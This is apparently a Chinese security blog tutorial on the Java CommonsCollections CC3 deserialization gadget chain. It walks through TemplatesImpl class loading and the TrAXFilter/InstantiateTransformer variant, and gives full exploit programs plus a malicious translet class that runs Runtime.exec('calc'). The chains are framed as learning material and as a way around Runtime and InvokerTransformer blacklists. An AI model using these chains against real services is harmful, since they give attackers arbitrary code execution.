Java反序列化CommonsCollections——CC3
前言
中招新冠修整了一段时间,不得不说这家伙威力还是挺猛的= =
今天来整理一下CC3,这条链子为什么单独拿出来讲呢?我们先前讲过的CC1和CC6都是通过Runtime.exec()进行命令执行,现实环境下很多企业会在黑名单中禁用Runtime,而CC3这条链子是通过动态加载类加载机制来实现自动代码执行。
CC3链子分析
这里简单说一下,利用 ClassLoader.defineClass() 直接加载字节码的手段,这条小链子为:ClassLoader.loadClass() --> ClassLoader.findClass --> ClassLoader.defineClass,这里defineClass就是从字节里面加载一个类。当然我们知道,只做类加载的话是不会执行代码的,所以我们还需要一个初始化的地方,这里的DefineClass是protected的,所以我们还需要找到一个地方重写它并且public的地方。
对这个defineClass find Usages,发现在Templateslmpl.TransletClassLoader调用了这个类,作用域是default,于是我们再这个包哪里调用了它
在这个类的defineTransletClasses方法中发现调用了defineClass,这里实际上就是给类里一个属性classs赋值,于是就得到动态加载的class,但是由于这个方法也是private私有的,我们接着去找这个方法哪变成public
找到了三个地方,前面两个都是直接把_class返回回来,返回回来那就需要后续的操作才能初始化。查看第三个,这个给_class赋完值之后调用了newInstance(),newInstance实际上是一个初始化的过程,也就是说如果我们走完了这个函数,就相当于能够动态的执行代码,所以这里我们重点关注这个函数,由于这个函数是私有的,我们接着往回找。

往回找到了newTransformer,这个函数是public的,所以我们找到这差不多就可以停了,也就是说调用了newTransformer()就会调用它的getTransletInstance(),在getTransletInstance()里面满足代码逻辑之后调用newInstance()初始化的过程,这个类的赋值实际上是在defineTransletClasses里做的_class[i] = loader.defineClass(_bytecodes[i]);
接着我们再来看看能newTransformer的这个类TemplatesImpl,这个类是可以序列化的,这点很方便
name属性不能为空,_class需要为空,因为我们就希望它走到defineTransletClasses(),
接着我们跟进到defineTransletClasses()里,_bytecodes为空的话会抛异常,所以不能为空(参数是二维数组),同时_tfactory要调用方法,也需要赋值
这里可以看到_tfactory是个TransformerFactoryImpl类型的东西,注意它是transient,不可以被序列化的变量,所以我们现在给他赋值没有意义,反序列化的时候不会被传进去的
在它的readObjecy方法里可以看到_tfactory是怎么生成的
于是我们先写个Exp,发现报错了,我们进入这个类断点调试一下
发现是这里出了问题,如果这里spuceClass不喝这个预设的值相符会走到_auxClasses的put方法,因为_auxClasses是空的,所以肯定会报错。所以我们这里有两个解决思路:1、让superClass 的父类equalsABSTRACT_TRANSLET 2、设置_auxClasses 但是这里我们注意到下面还有一个判断,如果_transletIndex小于0会抛出异常,而上面看到_transletIndex的值就是-1,所以我们采用第一种解决方法
于是到我们的测试类中实现继承这个AbstractTranslet类,并且实现AbstractTranslet类中的抽象方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
运行一下我们的Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class CC3Test {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"lotus"); Field bytecodeseField = tc.getDeclaredField("_bytecodes"); bytecodeseField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class")); byte[][] codes = {code}; bytecodeseField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer(); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
运行成功,成功弹出计算器!
整理一下思路,到目前为止就相当于实现了TemplatesImpl.newTransformer()到defineClass->newInstance,也就是说只要我们运行了TemplatesImpl.newTransformer(),就相当于能够实现任意代码执行了。由于TemplatesImpl是可以序列化的public方法,我们可以在前面接上CC1或者CC6的链子。

这就相当于换了一个代码执行的方法,这样子是非常有意义的一件事,因为黑名单可能只过滤了Runtime,利用的Exp如下:其实也就修改了执行代码的地方,前面的逻辑都不许要修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| public class CC3Test {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"lotus"); Field bytecodeseField = tc.getDeclaredField("_bytecodes"); bytecodeseField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class")); byte[][] codes = {code}; bytecodeseField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
执行代码,成功弹出计算器
我们去看ysoserial官方的链子,发现他这边用的是InstantiateTransformer这个类,现实情况中有的可能会过滤Runtime,也有可能会过滤InvokerTransformer,不能用InvokerTransformer的话我们可以试试用InstantiateTransformer这个类,下面也去复现一下。

所以接着去找调用newTransformer的地方,找到TrAXFilter这个类,看它的构造函数直接传入了一个templates,并且调用了templates的newTransformer,也就是说我们能够调用TrAXFilter的构造函数的话,也可以走下去进行代码执行,注意TrAXFilter这个类是不能序列化的,所以要从它的class入手。
CC3的作者找到一个InstantiateTransformer类,这个类就是初始化Transformer,调用构造函数的,我们看一下的Transform方法,它是判断传进来的参数是不是class类型,如果是的话,获取它指定参数类型的构造器,然后调用它的构造函数,这里就完全符合我们前面说的条件。
将CC1前半部分结合起来的Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public class CC3Test {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"lotus"); Field bytecodeseField = tc.getDeclaredField("_bytecodes"); bytecodeseField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class")); byte[][] codes = {code}; bytecodeseField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结一下利用链

后记
像反序列化这种链子通常是很长一条,但各部分又是相对独立的,切分成一块块的,我们写Exp的时候很多部分都可以把以前的直接拿过来用。就比如这个InstantiateTransformer可以用来替代InvokerTransformer。学完这条链子对这一点的感触颇深。
CC3的内容主要还是用到了TemplatesImpl这个类,这个类还是很重要的,实际上很多JDK的攻击链都用到了这个类,因为JDK里面动态加载的地方比较少,而这个类的本意应该是从XML里面类似创建一个对象的功能,正是因为这种动态的功能导致了后续可能的攻击利用。